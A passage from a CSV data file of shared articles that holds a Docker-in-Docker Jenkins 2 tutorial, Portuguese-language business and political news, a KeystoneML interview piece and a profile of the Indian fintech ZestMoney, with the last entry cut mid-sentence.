1462446074,CONTENT SHARED,6424668376409530281,-8020832670974472349,6996799014381083176,,,,HTML,http://gianarb.it/blog/docker-inside-docker-and-jenkins-2,Docker inside docker and overview about Jenkins 2,"#docker inside docker and an overview about Jenkins 2 @docker @jenkinsci #container - Gianluca Arbezzano (@GianArb) May 4, 2016 Jenkins is one of the most famous continuous integration and deployment tools, it's written in Java and it helps you to manage your pipeline and all tasks that help you to put your code in production or manage your build. The announcement of Jenkins release of version 2 few days ago, is one of the best release of this year in my opinion. The previous version is very stable but it has a lot of years and the ecosystem is totally different. I am happy to see a strong refurbishment to get the best of this powerful tool with a series of new feature like: Nice installation wizard Refactoring of the design, one of the most critical feature of the previous version Good and modern set of plugins like Jenkins Pipeline to manage your build Jenkins is truly a wonder but the tool of the moment it's docker, engine that allow you to work easier with the containers. This two tools together are perfect to create an isolated environment to test and deploy your applications. The first setup could be install Jenkins on your server and use a plugin to manage the integration and trigger your test inside an isolated environment, the container. Great work but in my opinion reproducibility is one of the critical point when you deal with plugins if you can not run your build on your local environment easily then you have a problem. Secondly if the container could be a good solution to deploy and maintain a solid and isolated application, why your Jenkins has not the privilege to run inside a container? In this perspective how can we run container inside a container? Ok, now its the time to figure it out how to solve the problems. We can use the official Jenkins image to put jenkins inside a container, but I worked on my personal alpine installation, light and easy, here is the dockerfile and we can pull it: If you are interested the main article to understand how run docker inside docker is written by jpetazzo , the idea is run our jenkins container with -privileged enabled and share our docker binary and the socket /var/run/docker.sock to manage our communications. /var/run/docker.sock is the entrypoint of the docker daemon docker the command is like a client that sends commands to socket --privileged give extended privileges to our container Translated in a docker command: docker run -v /var/run/docker.sock:/var/run/docker.sock \ -v $(which docker):/usr/local/bin/docker \ -p 5000:5000 -p 8080:8080 \ -v /data/jenkins:/var/jenkins \ --privileged \ --restart always \ gianarb/jenkins:2.0 We connect on and start the new awesome wizard! To verify that all work we can create a new job it only runs docker ps -a our expectation is the same list of containers that we have out of jenkins. Now we can use run command from jenkins to manage our build with docker without any kind of plugins but anyway you are free to use Docker Plugin to start your build. I used Jenkins like an example to run docker inside another container but you can use the same strategy to do the same with your applications if they require a strong connection with docker.",en
1462448930,CONTENT SHARED,-8949113594875411859,1895326251577378793,6242109617183539580,,,,HTML,http://m.folha.uol.com.br/mercado/2016/05/1766559-burrofones-ainda-sao-25-dos-celulares.shtml,"No Brasil, '25% dos celulares ainda são 'Burrofones'","Divulgação O ex-jogador de futebol Tostão, dono de um 'burrofone' Campeão do mundo e ídolo do esporte brasileiro, o médico e ex-jogador de futebol Tostão não demonstra o mesmo apreço pela tecnologia como o que tem pela bola. Avesso aos smartphones, o colunista da Folha ainda usa um celular antigo. ""Só uso o celular para telefonar e receber chamadas. Às vezes recebo mensagens, mas nunca mando. Isso [o smartphone] não me faz falta"", diz Tostão pelo seu ""burrofone"" (dumbphone, em inglês). Pode parecer raro, mas Tostão representa uma quantidade considerável de pessoas avessas à tal tecnologia. Aproximadamente 25% das linhas móveis ainda permanecem restritas a chamadas de voz -o máximo em tecnologia são mensagens SMS. Dados da Anatel mostram que, em março, 62,7 milhões de linhas móveis operavam em ""burrofones"", ou seja, trabalhavam via 2G -sem acesso à internet. Em um mercado quase saturado -as vendas de smartphones caíram 13,4% no país em 2015- e em meio a uma recessão econômica, que inviabiliza uma forte expansão, a disputa pela modernização desse nicho ""parado no tempo"" ganha importância. 2G no Brasil - Celulares sem acesso à internet, por DDD, em % ""Nós vivemos uma transição em que a receita de voz cai muito. Então, há essa tentativa de estimular a migração para incentivar a compra de pacote de dados"", afirma Eduardo Tude, diretor da consultoria Teleco. Segundo a Folha apurou, a alta na receita das operadoras pode chegar a 50% na comparação entre um pacote de voz e um de voz mais dados. As quatro grandes operadoras do país reconhecem os esforços em avançar ante os 25% resistentes. ""Geralmente, clientes que passam a ter uma melhor experiência com o uso da internet contratam pacotes de dados e, logo, geram mais receitas"", disse a Vivo, em nota. Além do aumento de receita, há a necessidade de remanejar investimentos, de acordo com Ricardo Distler, diretor-executivo da consultoria Accenture. ESTRATÉGIAS O mercado sabe que há três motivos principais para o alto percentual de ""burrofones"" no país: preço dos aparelhos, falta de conhecimento e problemas no sinal. ""A primeira barreira é o preço. Por isso, buscamos negociar com fabricantes um aparelho de entrada a preços acessíveis"", afirma Rodrigo Vidigal, diretor de marketing da Claro. A Oi aposta em planos que oferecem dinheiro para aparelhos usados. ""Isso visa tornar o processo de troca de tecnologia mais rápido, agrega receita de dados e melhora a experiência de uso"", afirma Roberto Guezburger, diretor de produtos e mobilidade da Oi. A Vivo também apela a descontos em novos aparelhos, enquanto a TIM promove workshops com aulas para demonstrar a funcionalidade dos smartphones. SEM ACESSO De acordo com analistas, as regiões que concentram o maior percentual de linhas 2G são as de menor renda e pior qualidade no serviço oferecido pelas empresas. É consenso que a dificuldade em encontrar sinal inviabiliza a chegada de mais smartphones a tais locais. ""Regiões de menor renda tipicamente têm menor participação em razão das dificuldades do sinal"", afirma Guezburger, da empresa Oi. Mesmo com a expansão do 3G e do 4G no país, em 2016 cerca de 550 cidades ainda recebem apenas o sinal 2G -praticamente todas no interior do Brasil, segundo dados disponibilizados pela Anatel. Fale com a Redação - leitor@grupofolha.com.br Problemas no aplicativo? - novasplataformas@grupofolha.com.br",pt
1462451336,CONTENT SHARED,2589533162305407436,-1443636648652872475,4236721063116312900,,,,HTML,http://radar.oreilly.com/2015/07/6-reasons-why-i-like-keystoneml.html,6 reasons why I like KeystoneML,"As we put the finishing touches on what promises to be another outstanding Hardcore Data Science Day at Strata + Hadoop World in New York , I sat down with my co-organizer Ben Recht for the the latest episode of the O'Reilly Data Show Podcast . Recht is a UC Berkeley faculty member and member of AMPLab , and his research spans many areas of interest to data scientists including optimization, compressed sensing, statistics, and machine learning. At the 2014 Strata + Hadoop World in NYC, Recht gave an overview of a nascent AMPLab research initiative into machine learning pipelines. The research team behind the project recently released an alpha version of a new software framework called KeystoneML , which gives developers a chance to test out some of the ideas that Recht outlined in his talk last year. We devoted a portion of this Data Show episode to machine learning pipelines in general, and a discussion of KeystoneML in particular. Since its release in May, I've had a chance to play around with KeystoneML and while it's quite new, there are several things I already like about it: KeystoneML opens up new data types Most data scientists don't normally play around with images or audio files. KeystoneML ships with easy to use sample pipelines for computer vision and speech. As more data loaders get created , KeystoneML will enable data scientists to leverage many more new data types and tackle new problems. It's built on top of Apache Spark: Community, scale, speed, results Spark is the hot new processing framework that many data scientists and data engineers are already using (and judging from recent announcements , more enterprises will start paying attention to it as well). By targeting Spark developers, the creators of KeystoneML can tap into a rapidly growing pool of contributors. As a distributed computing framework, Spark's ability to comfortably scale out to large clusters can significantly speed up computations. Early experiments using KeystoneML tackle some computer vision and speech recognition tasks on modestly-sized Spark clusters - resulting in training times that are much faster than other approaches used. And, while the project is still in its early stages, early pipelines that ship with KeystoneML actually match some state-of-the-art results in speech recognition . Emphasis on understanding and reproducing end-to-end machine learning pipelines Rather than the simplistic approach frequently used to teach machine learning ( input data -> train model -> use model ), KeystoneML's API reinforces the importance of thinking in terms of end-to-end pipelines. As I and many others have pointed out , model building is actually just one component in data science workflows. There are many ways to contribute to KeystoneML As a fairly new project, KeystoneML's codebase is still relatively small and accessible to potential contributors. A typical pipeline includes data loaders, featurizers , models, and many other components. You need not be an algorithm whiz or a machine learning enthusiast to contribute. In fact, I think many important future contributions to KeystoneML will likely be pipeline components that aren't advanced modeling primitives. Moreover, if you have access to, or have already created well-tuned components, the creators of KeystoneML provide examples of how to quickly integrate external libraries (including tools written in C) into your pipelines. A platform for large-scale experiments: Benchmarking and reproducibility As I noted in an earlier post, the project's longer term goal is to produce error bounds for end-to-end pipelines . Another important objective is to build a framework and accompanying components that make it easy for data scientists to run experiments and make comparisons. Recht explained: There are benchmarks, and you get thousands of papers written about the same benchmark and it's completely impossible to know how people are comparing. They'd say, ""Algorithm A is better than algorithm B."" You don't actually get to see how exactly they're running algorithm A, or what they did to the default parameters in algorithm B. It's very hard to actually to make comparisons to make them reproducible. Then [someone will] come along after a bunch of these [and] try to reproduce all of the results and [write a] survey paper comparing a bunch of results. ... What we'd like to be able to do is have this framework where you can actually do those kinds of comparisons. (Automatic) Tuning Data scientists and data engineers who work with big data tools often struggle to configure and tune complex distributed systems. The designers of KeystoneML are building automation and optimization tools to address these issues. Recht noted: The other thing that we're hoping to be able to do are systems optimizations : meaning that we don't want you to load a thousand-node cluster because you made an incorrect decision in caching. We'd like to be able to actually make these things where we can smartly allocate memory and other resources to be able to run to more compact clusters. You can listen to our entire interview in the SoundCloud player above, or subscribe through Stitcher , SoundCloud , TuneIn , or iTunes . Cropped public domain image on article and category pages via Wikipedia . Ben Recht will give an update on the state of KeystoneML at Strata + Hadoop World NYC this September. Meet Recht and many other outstanding speakers at Hardcore Data Science day. Explore emerging topics such as deep learning, statistical decision theory, interpretable machine learning, and tensor methods with this O'Reilly video collection, taken from the Hardcore Data Science sessions at Strata + Hadoop World 2015 in San Jose, California. Save 50% on data video training collections . Push the envelope of data science by exploring emerging topics such as data management, machine learning, natural language processing, crowdsourcing, and algorithm design with this O'Reilly video collection, taken from the Hardcore Data Science sessions at Strata + Hadoop World 2014 in New York. Save 50% on data video training collections .",en
1462451659,CONTENT SHARED,3751305746867503759,5707382540067831352,-1337683636796536384,,,,HTML,http://exame.abril.com.br/mercados/noticias/a-reuniao-secreta-em-que-wall-street-testou-dinheiro-digital,A reunião secreta em que Wall Street testou dinheiro digital | EXAME.com,"Em uma segunda-feira recente de abril, mais de 100 executivos de algumas das maiores instituições financeiras do mundo se encontraram para uma reunião privada no escritório da Nasdaq na Times Square. Eles não foram até lá apenas para conversar sobre blockchain, a nova tecnologia que alguns dizem que transformará as finanças, mas para produzir e fazer experimentos com o software. No fim do dia, eles tinham visto algo revolucionário: dólares americanos transformados em ativos digitais puros, que podem ser usados para executar e liquidar uma transação instantaneamente. Essa é a promessa da tecnologia blockchain, na qual o sistema complicado e sujeito a erros que leva dias para movimentar dinheiro pela cidade ou ao redor do mundo é substituído por uma certeza quase instantânea. O evento foi criado pela Chain, uma das muitas startups que buscam revolucionar a indústria financeira, e contou com a presença de representantes da Nasdaq, do Citigroup, da Visa, da Fidelity, da Fiserv, da Pfizer e de outras empresas. O evento -- anunciado em um comunicado nesta segunda-feira -- marcou um momento-chave na evolução da tecnologia blockchain, notável tanto pelo que conseguiu quanto pela quantidade de empresas envolvidas. O potencial da tecnologia cativou os executivos de Wall Street porque oferece uma forma de liberar bilhões de dólares acelerando transações que atualmente podem levar dias, deixando o capital amarrado. Mas uma enorme peça desse quebra-cabeças é a transformação de dinheiro em um formato digital. E, embora algumas empresas tenham realizado experimentos, o evento da Chain mostrou que um grande número delas atualmente está buscando uma possível solução conjunta. ""Nós criamos um dólar digital"" para mostrar ao grupo na Nasdaq uma operação de débito e outra de crédito instantâneas em blockchain, disse Marc West, diretor de tecnologia da Fiserv, empresa de transações e pagamentos com mais de 13.000 clientes em todo o setor financeiro. ""Esta é a primeira vez em que o dinheiro foi movimentado"". Produção silenciosa A Chain já é conhecida em alguns círculos em Wall Street por seu projeto para ajudar a Nasdaq a mudar a transação de ações de empresas não-públicas para blockchain. Mas para a maioria, a empresa se manteve relativamente silenciosa em comparação com outras firmas de tecnologia financeira. A empresa com sede em São Francisco também usou a reunião de 11 de abril para apresentar a seus clientes e investidores a Chain Open Standard, uma plataforma blockchain de código aberto que a empresa vem desenvolvendo há mais de um ano, disse Adam Ludwin, presidente da companhia. O que a Chain fez foi criar os elementos complicados necessários para que a tecnologia blockchain funcione, de forma que seus clientes possam construir soluções personalizadas com base nisso para resolver problemas comerciais, disse ele. ""Construímos silenciosamente com o apoio de toda uma equipe durante alguns anos"", disse ele. ""Blockchains são redes, por isso consideramos a colaboração importante, mas o que é ainda mais importante que a colaboração no começo é ter o modelo correto"". O evento foi mantido em segredo para que os executivos pudessem compartilhar ideias incipientes de forma livre e assumir riscos. ""Quanto maior a presença da mídia, menor a qualidade do diálogo e a solução dos problemas"", disse ele. O sistema de blockchain mais comum é aquele que respalda o dinheiro digital bitcoin, que funciona desde 2009. As empresas financeiras têm relutado em adotar o bitcoin, contudo, porque seus usuários anônimos poderiam complicar os bancos com violações de regras que visam impedir a lavagem de dinheiro e as normas de verificação de identidade do cliente. Os dólares americanos digitais, ou qualquer outra moeda fiduciária, por outro lado, não apresentam esses riscos. Ludwin disse que a tecnologia de blockchain foi aprovada por Wall Street e que agora é hora de se concentrar em criar soluções. ""Reunir tudo isso não é trabalho pequeno, tampouco reformular os processos comerciais dentro de grandes organizações"", disse ele. ""Isso não é 'engenharia financeira'. Isso é engenharia de software, algo que dará nova forma aos serviços financeiros"".",pt
1462453699,CONTENT SHARED,6535950170823528902,-1387464358334758758,-3296390452744498738,,,,HTML,http://googlediscovery.com/2016/05/04/google-slides-incorpora-recurso-de-perguntas-e-respostas-em-tempo-real/,"Google Slides incorpora recurso de ""perguntas e respostas"" em tempo real | Google Discovery","Utilizando a tecnologia do extinto Google Moderator (produto encerrado em 2015), o Google adicionou uma nova funcionalidade no Google Slides que permite classificar dúvidas, sugestões e ideias enviadas pela platéia durante uma palestra, sem causar qualquer interrupção. Por meio de um link especial, as pessoas podem acessar uma página e fazer perguntas durante a apresentação com o Google Slides. Estas questões, em seguida, aparecem ranqueadas na tela do apresentador, bem como nas telas de outros presentes para que possam votar ou dar suas contribuições. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1462454493,CONTENT SHARED,-3234984575507976056,3609194402293569455,6769824458380148381,,,,HTML,http://www.mastertech.tech/edu/como-ter-um-bom-relacionamento-com-a-escrita/,MasterTech - Como ter um bom relacionamento com a Escrita,"Como ter um bom relacionamento com a Escrita Sobre esse workshop Saber escrever é, sobretudo, fazer-se entender. A escrita é o principal meio de comunicação do século XXI. Há quanto tempo você não liga para alguém? E um e-mail? Acabou de enviar? Postou na timeline do seu Facebook? E no Twitter? Pois é, hoje funciona assim. Precisamos ser escritores proficientes para vivermos em paz. Nossa vida gira em torno dos gêneros do discurso com os quais temos que lidar. Não há nada pior do que não encontrar as palavras certas, querer dizer algo e ver a mente se esvaziar.Ninguém nasceu amigo das palavras, tenha certeza que foi uma relação carinhosamente construída. A boa escrita depende de dedicação e atenção. Queremos te inspirar. Homero invocava às musas, funcionou, mas será que elas estão disponíveis às três da tarde, durante aquela reunião em que você será responsável pela apresentação? Caso não queira enfrentar a fila, conte com a gente. Venha participar e crie uma nova relação com as palavras, e de quebra leve algumas dicas no bolso. O que você vai aprender Parte 1 Gêneros do discurso: teoria bakhtiniana e a vida em sociedade. A Língua Portuguesa e a tecnologia. Parte 2: Escrever sem medo: como dar os primeiros passos. 30 (e poucas) dicas para uma boa escrita. Parte 3: Produção (divertida) de texto. Preparação e pré-requisitos Leia tudo que puder, a propaganda no pacote de pão ou romance do Saramago Sobre a instrutora Carolina Achutti é professora do Sistema Anglo de Ensino há quatro anos, atuando, principalmente, na área de redação. Graduada em Letras e Linguística pela Universidade de São Paulo. Atualmente, é mestranda do programa de linguística aplicada pela mesma instituição. Costuma dizer que é professora por vocação e estudante por decisão. Política de reembolso Planos mudam. A gente entende. Mas se você não puder participar desta aula/workhsop, por favor nos envie um e-mail pelo menos 7 dias antes da data do evento agendado. Após esta data nenhum reembolso será dado. Quarta-feira, 8 de junho 19h às 22h",pt
1462456059,CONTENT SHARED,-3348458175249982599,-8845298781299428018,3224747404258788006,,,,HTML,http://m.folha.uol.com.br/poder/2016/05/1768000-teori-afasta-eduardo-cunha-do-mandato-na-camara.shtml,Teori afasta Eduardo Cunha do mandato na Câmara,"O ministro do STF (Supremo Tribunal Federal) Teori Zavascki determinou nesta quinta-feira (5) o afastamento do presidente da Câmara Eduardo Cunha (PMDB-RJ) do mandato de deputado federal. Relator da Lava Jato, o ministro concedeu uma liminar em um pedido de afastamento feito pela Procuradoria-Geral da República, em dezembro, e apontou 11 situações que comprovariam o uso do cargo pelo deputado para ""constranger, intimidar parlamentares, réus, colaboradores, advogados e agentes públicos com o objetivo de embaraçar e retardar investigações"". Na peça, o procurador-geral da República, Rodrigo Janot, chegou a classificar o peemedebista de ""delinquente"". Em dezembro, a PGR informou que, para Janot, Cunha ""vem utilizando o cargo em interesse próprio e ilícito unicamente para evitar que as investigações contra ele continuem e cheguem ao esclarecimento de suas condutas, bem como para reiterar nas práticas delitivas"". Janot disse, à época, que Cunha ultrapassou ""todos os limites aceitáveis"" de um ""Estado Democrático de Direito"" ao usar o cargo em ""interesse próprio"" e ""unicamente para evitar que as investigações contra si tenham curso e cheguem ao termo do esclarecimento de suas condutas, bem como para reiterar nas práticas delitivas"". O peemedebista foi transformado em réu no STF, por unanimidade , pelos crimes de corrupção e lavagem de dinheiro sob a acusação de integrar o esquema de corrupção da Petrobras, tendo recebido neste caso US$ 5 milhões em propina de contratos de navios-sonda da estatal. Na Lava Jato, o deputado é alvo de outra denúncia, de mais três inquéritos na Corte e de outros três pedidos de inquéritos que ainda aguardam autorização de Teori para serem abertos. As investigações apuram o recebimento de propina da Petrobras e o uso do mandato para supostas práticas criminosas. ""Ante o exposto, defiro a medida requerida, determinando a suspensão, pelo requerido, Eduardo Cosentino da Cunha, do exercício do mandato de deputado federal e, por consequência, da função de Presidente da Câmara dos Deputados"", diz trecho da decisão. Cunha será substituído por outro investigado na Lava Jato, o deputado Waldir Maranhão (PP-MA). 'AÇÕES ESPÚRIAS' O procurador-geral sustenta que Cunha ""tem adotado, há muito, posicionamentos absolutamente incompatíveis com o devido processo legal, valendo-se de sua prerrogativa de presidente da Câmara dos Deputados unicamente com o propósito de autoproteção mediante ações espúrias para evitar a apuração de suas condutas, tanto na esfera penal como na esfera política"". O pedido de afastamento cita conversa obtida no celular apreendido de Cunha com o empreiteiro Léo Pinheiro, da OAS, na qual Cunha negocia um projeto de interesse do empreiteiro e pede propina, na avaliação de Janot. ""Alguns dias depois Cunha cobrou o pagamento de valores, que, pelo teor das conversas anteriores, era em duas partes: R$ 1.500.000,00 e R$ 400.000,00"". Também cita conversa com o então presidente da Andrade Gutierrez, Otávio Azevedo, na qual Cunha acerta emendas de seu interesse. Por isso, Janot diz que Cunha transformou a Câmara em ""balcão de negócios"". Foram encontrados ainda na busca nas residências de Cunha documentos referentes às suas contas na Suíça, documentos referentes à Petrobras e dossiê da CPI da Petrobras, e documentos sobre requerimentos e emendas de deputados aliados. Dentre os fatos já conhecidos, como o uso da ex-deputada Solange Almeida (PMDB-RJ) para, por meio de requerimentos em uma comissão, pressionar o lobista Julio Camargo a lhe pagar propina da Petrobras, e o uso de parlamentares para apresentar requerimentos contra o grupo Schahin, que tinha uma disputa com o corretor de valores Lúcio Bolonha Funaro, pessoa próxima a Cunha. No caso de Funaro, a PGR aponta que ele pagou veículos no valor de R$ 180 mil para a empresa de Eduardo Cunha, a C3 Produções Artísticas e Jornalísticas. Janot também cita fatos envolvendo a CPI da Petrobras, patrocinada por Cunha e que se encerrou em meados desse ano. Diz que a convocação da advogada Beatriz Catta Preta foi para intimida-la porque o lobista Julio Camargo implicou Cunha em sua delação premiada e que a contratação da empresa Kroll, por cerca de R$ 1 milhão, foi para buscar ativos financeiros dos delatores da Lava Jato que pudessem comprometer suas delações premiadas. A peça também usa como argumento as manobras de Cunha para evitar a abertura de seu processo de cassação no Conselho de Ética, citando inclusive a entrevista do ex-relator do processo Fausto Pinato à Folha publicada na semana passada, na qual ele disse ter recebido oferta de propina. - OS MOTIVOS PARA O AFASTAMENTO Ministério Público Federal lista 11 razões para que Eduardo Cunha seja afastado do cargo 1 Requerimentos feitos por aliados de Cunha, como a ex-deputada Solange Almeida , para pressionar pagamento de propina da Mitsui 2 Requerimentos e convocações feitos na Câmara a fim de pressionar donos do grupo Schahin 3 Convocação da advogada Beatriz Catta Preta à CPI da Petrobras para ""intimidar quem ousou contrariar seus interesses"" 4 Contratação da empresa de espionagem Kroll pela CPI da Petrobras, ""empresa de investigação financeira com atuação controvertida no Brasil"" 5 Utilização da CPI da Petrobras para pressão sobre Grupo Schahin e convocação de parentes do doleiro Alberto Youssef 6 Abuso de poder, com a finalidade de afastar a aplicação da lei, para impedir que um colaborador corrija ou acrescente informações em depoimentos já prestados 7 Retaliação aos que contrariam seus interesses, caso da demissão do ex-diretor de informática da Câmara que revelou a autoria de requerimentos feitos por aliados de Cunha 8 Recebimento de vantagens indevidas para aprovar medida provisória de interesse do banco BTG, de André Esteves 9 ""Manobras espúrias"" para evitar investigação no Conselho de Ética Câmara , com obstrução da pauta com intuito de se beneficiar 10 Ameaças ao deputado Fausto Pinato (PRB-SP), ex-relator do seu processo de cassação 11 Novas ameaças e oferta de propina ao ex-relator Pinato Fale com a Redação - leitor@grupofolha.com.br Problemas no aplicativo? - novasplataformas@grupofolha.com.br",pt
1462456359,CONTENT SHARED,-655909700262679295,-48161796606086482,3791045604731925300,,,,HTML,http://exame.abril.com.br/negocios/dino/noticias/banco-desafia-empreendedores-e-estudantes-de-tecnologia-a-buscarem-inovacao-para-processos.shtml,Banco desafia empreendedores e estudantes de tecnologia a buscarem inovação para processos | EXAME.com,"""No Hackatri, os inscritos terão como foco um desafio específico do banco: desenvolver um sistema eficaz, com um dashboard amigável, para os varejistas fazerem a gestão das transações com cartão de débito e crédito."" Gabriel Ferreira - Diretor da i9 Cada vez mais empresas têm lançado mão dos hackathons - maratonas de programação e desenvolvimento de soluções - para encontrarem soluções inovadoras para seus processos. Em Uberlândia, no Triângulo Mineiro, o Tribanco - instituição financeira do Grupo Martins - propôs um desafio aos empreendedores e estudantes de tecnologia, por meio do Hackatri - Hackathon do Tribanco - programado para os dias 14 e 15 de maio, na sede o banco. Ao todo serão 34 horas de imersão de equipes formadas por programadores, designers e profissionais de negócios para a criação e desenvolvimento de uma solução para o desafio proposto pela empresa. A equipe que apresentar a solução mais adequada e inovadora receberá uma premiação e ainda terá a possibilidade de desenvolver seu produto, projeto e/ou solução junto ao banco. O evento é uma iniciativa da i9 Uberlândia - centro de desenvolvimento de inovação e tecnologia do Triângulo Mineiro - em parceria com o Tribanco. ""Foi uma oportunidade que criamos para os participantes programarem, pensarem, planejarem, executarem, desenharem e prototiparem, por várias horas seguidas, desenvolvendo algo incrível e que ainda não existe. O objetivo é buscar uma inovação, pensando nos aspectos da abrangência do desafio lançado. No Hackatri, os inscritos terão como foco um desafio específico do banco: desenvolver um sistema eficaz, com um dashboard amigável, para os varejistas fazerem a gestão das transações com cartão de débito e crédito"", informa o diretor de projetos da i9, Gabriel Ferreira. O desafio dos participantes do Hackatri será solucionar esse problema real do Tribanco e de seus clientes, detectado junto aos comerciantes e varejistas no controle e administração das operações de cartão. Ao final de dois dias de evento, os participantes deverão apresentar um projeto que solucione o processo. Esta é a última semana para os interessados se inscreverem para o Hackatri. Serão 100 vagas no evento. As inscrições são gratuitas e realizadas no site. Segundo presidente da i9, Robson Xavier, promover hackathons é mais uma expertise da associação que tem como missão desenvolver o ecossistema de inovação do Triângulo Mineiro. ""O Tribanco confiou em nós, abriu as portas para promovermos o evento e assim temos mais uma oportunidade de fomentar o ecossistema de inovação da região. Uberlândia reúne empreendedores e estudantes com grande potencial criativo e inovador. Essa é uma maneira de aproveitarmos isso. Agradecemos ao Tribanco pela confiança"", comenta. Premiação O Tribanco premiará os 03 (três) melhores projetos apresentados durante o Hackatri, e julgará conforme os critérios estabelecidos, quais sejam, dentre outros, (1) aplicabilidade, (2) criatividade, (3) grau de inovação, (4) usabilidade, (5) potencial de impacto no mercado, (6) design da solução, (7) status e evolução da solução, e (8) apresentação do projeto desenvolvido. O julgamento dos projetos será realizado em uma única etapa, sendo concedida uma premiação principal para o projeto vencedor, que será conhecido no dia 15/05/2016 no Hackatri, conforme programação divulgada. Serão premiados três grupos. Premiação 1º Lugar: * Possibilidade de contrato com o Tribanco; * 2 Smartphones Samsung Galaxy S6; * 1 Óculos Samsung Gear VR; * R$1.000,00 em compras no site efácil; * 1 anuidade de startup na ABStartup; * 12 meses de mensalidade paga na i9 Uberlândia para um membro ou para uma Startup; * 2 Ingressos para o Startup Farm Day. 2º Lugar: * 1 Smartphone Samsung Galaxy S6; * 1 Óculos Samsung Gear VR; * 1 anuidade de startup na ABStartup; * 12 meses de mensalidade paga na i9 Uberlândia para um membro ou para uma Startup; * 2 Ingressos para o Startup Farm Day. 3º Lugar: * 1 Óculos Samsung Gear VR; * 1 anuidade de startup na ABStartup; * 12 meses de mensalidade paga na i9 Uberlândia para um membro ou para uma Startup; * 2 Ingressos para o Startup Farm Day. Serviço O quê: O primeiro HACKATRI ocorrerá nos dias 14 e 15 de maio de 2016. Quando: Início dos Trabalhos: dia 14/05/2016 às 08:00. Finalização dos Trabalhos: dia 15/05/2016 às 18:00. Onde: O evento ocorrerá no Tribanco, no Auditório Jerônimo Martins do Nascimento, entrada pela a Rua Jataí Nº 1.150 - Bairro Aparecida - Uberlândia/MG - CEP: 38400-632. Mais informações: Site: Regulamento: Facebook: Website:",pt
1462459441,CONTENT SHARED,-8700857105739861338,5660542693104786364,-375989442376890809,,,,HTML,https://letstalkpayments.com/forget-wallets-check-out-this-serious-fintech-product-being-built-in-india-zestmoney-for-instant-credit/,"Forget Wallets, Check out This Serious FinTech Product Built in India: ZestMoney for Instant Credit","Vijay is a middle-class guy who just got his first job after college and wants to buy an iPhone 6 for Rs. 45,000. He obviously doesn't have enough money to buy it in one shot and he doesn't have a credit card (like 98% or more people). He can go for a loan but the banks would ask for collaterals/salary statements; banks don't give money to those who need it the most. What if he went to an e-commerce site and saw a great deal on the phone and wanted to buy it there and then? Do you think he has any options? Well, very soon he will have options. A credit product is coming to your favorite e-commerce sites that is instant, on-demand and can fill the credit card gap in India. ZestMoney provides an on-demand instant credit, an instant digital EMI of sorts. I think it's one of the most exciting FinTech companies in India this year - one that will revolutionize the way you buy online. With growing income levels and the burgeoning middle-class, we are seeing unprecedented levels of consumerism in India. And it's not just about the fancy restaurants that people are going to or shiny new vehicles they are buying but it's also about the electronic products and lifestyle products they are buying. People are buying more and they are buying online. The aspiration to possess the latest gadgets and lifestyle products is also increasing. Now, instead of buying a low-budget phone, more than half of the population aspires to buy a fancy smartphone. Most of such consumers are salaried employees who don't have the immediate spending power to fulfill their aspirations and so they love EMIs. For a salaried employee, no matter how much money you make, there's is a big burden to remain financially healthy, maintain a budget, pay off debt, build an emergency fund, save for retirement and invest. The only option left for them is taking secured or unsecured personal loans or taking credit through credit cards. Loans can take a lot of time to get sanctioned and disbursed. And credit cards have a big problem in this country which is that most of the people don't have credit cards. Overall we have only 22.74 million credit cards in this country as opposed to 643 million debit cards. Alternative offline credit solutions such as gold-based (collateral) lending have filled some of the latent demand, but the young, urban digital consumer is still largely underserved, especially when it comes to instant purchases. Why can't you have a loan when you want it, such as at the time of purchase? It's good to finally see a deep FinTech startup emerge in India and target e-commerce purchases. ZestMoney wants to revolutionize the online payment experience with instant credit and probably kill the credit card (which is already small numbers). I met the founders of the company and they bring in the relevant experience to the table. Lizzie Chapman is the Co-founder and CEO at ZestMoney and has previously worked with DBS bank (helped to build India's first mobile-only bank), Wonga (credit products) and Goldman Sachs. Priya Sharma is the Co-founder and CFO/COO at ZestMoney. Priya has the experience of working with firms such as Wonga, Deloitte, Merill Lynch and Sapient. ZestMoney gives wings to people's aspiration by enabling consumers to finance their online purchases anytime, in a simple and transparent way, without the need for a credit card. How ZestMoney works: Shop: Customer notices Zest EMI pricing on product pages, prompting conversion. Create EMI: Customer selects Zest at the checkout; generates EMI. New Zest customers can sign up at checkout. Product Ships: Zest verifies account details and confirms the purchase. Zest authorizes settlement with the merchant. Merchant processes order. Boost conversions: ZestMoney boosts merchant's checkout conversion by making shopping on their site and app affordable, smoother and instant with a seamless sign-up process for their customers . Increase average order size: Splitting a purchase into flexible monthly EMIs makes customers feel good about a bigger basket. Customers are more likely to ""upsize"" their purchase when ZestMoney financing is available. Attract customers: Enabling instant checkout financing to customers who may not have access to traditional credit card EMI. ZestMoney EMI appeals to a younger crowd who don't want a credit card or personal loan. Reduce cash collection cycle: ZestMoney enables immediate settlement to the merchant and removes fraud and credit risk. Zest handles all ongoing communication with the customer, collections and servicing. Monthly Repayment: Zest services loans directly with the customer. Zest acts as a third-party payment provider for e-commerce sites, wherein they can provide their customers with digital EMI /virtual credit card option. The following are the benefits provided by the company to e-commerce merchants: ZestMoney provides the option of an upfront settlement, zero customer credit risk and full customer service to its customers. It's a combination of a payment product and an instant loan product and both of these can help merchants in a big way if done right. They do a calculated risk the first time a new user makes a purchase using their system but the advance analytics based on robust data set makes it feasible. They also make the customer co-pay some amount to reduce the risk further. ZestMoney works on B2B2C strategy, resulting in low customer acquisition cost. The company earns revenue from the following ways: 1. Processing fees, interest, late fees and extension fees from customer 2. MDR and subvention from merchant 3. Subvention from manufacturer 4. Integration fees from lenders The company was founded in 2015 and has received initial investments from Ribbit Capital, Omidyar Network, Shriram City, Chola, DMI Finance and BiliPay. What fundamentally differentiates Zest is their propensity and ability to process and utilize enormous sets of raw data. The company heavily relies on raw data obtained from various sources (including credit bureaus) and uses it to calculate their own metrics to take decisions. The company makes use of credit bureau and other third-party data in its most granular form, rather than the typically less-predictive aggregated scoring approaches (CIBIL score). The majority of their customers are young people who either do not have any financial history so far or have a ""thin"" file, which means that the CIBIL score is meaningless for them. If you are a merchant, you should be talking to them and if you are a consumer, you can hope and pray that your favorite e-commerce companies integrate them soon. As for me, I already checked out their product by using it on online jewelry store Bluestone. You see, this is how to kill two birds in one shot... My wife is happy now. Now experience the full power of the LTP knowledgebase on this and all other FinTech topics. MEDICI, now in beta, is the discovery and engagement platform for FinTech startup research. Register here and find out if your company has already been 